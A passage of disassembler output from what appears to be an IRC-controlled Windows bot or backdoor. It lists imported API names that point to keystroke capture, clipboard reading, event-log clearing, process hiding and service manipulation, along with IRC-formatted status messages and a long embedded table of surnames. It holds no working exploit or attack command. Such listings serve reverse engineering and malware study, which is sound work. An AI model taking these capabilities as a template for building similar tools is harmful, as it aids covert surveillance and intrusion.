sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; ___crtMessageBoxA+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 ; char asc_42D6C4[] asc_42D6C4 db '-' ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 ; char aAvicap32_dllFa[] aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h ; char aOdbc32_dllFail[] aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o ; char aShell32_dllFai[] aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 ; char aMpr32_dllFaile[] aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 ; char aIphlpapi_dllFa[] aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 ; char aDnsapi_dllFail[] aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o ; char aNetapi32_dllFa[] aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 ; char aIcmp_dllFailed[] aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 ; char aWininet_dllFai[] aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h ; char aWs2_32_dllFail[] aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o ; char aGdi32_dllFaile[] aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h ; char aAdvapi32_dllFa[] aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 ; char aUser32_dllFail[] aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co ; char aKernel32_dllFa[] aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h ; char a__0[] a__0: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 ; char asc_42D884[] asc_42D884 db '-' ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 ; char asc_42D8D8[] asc_42D8D8 db '-' ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o ... aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; 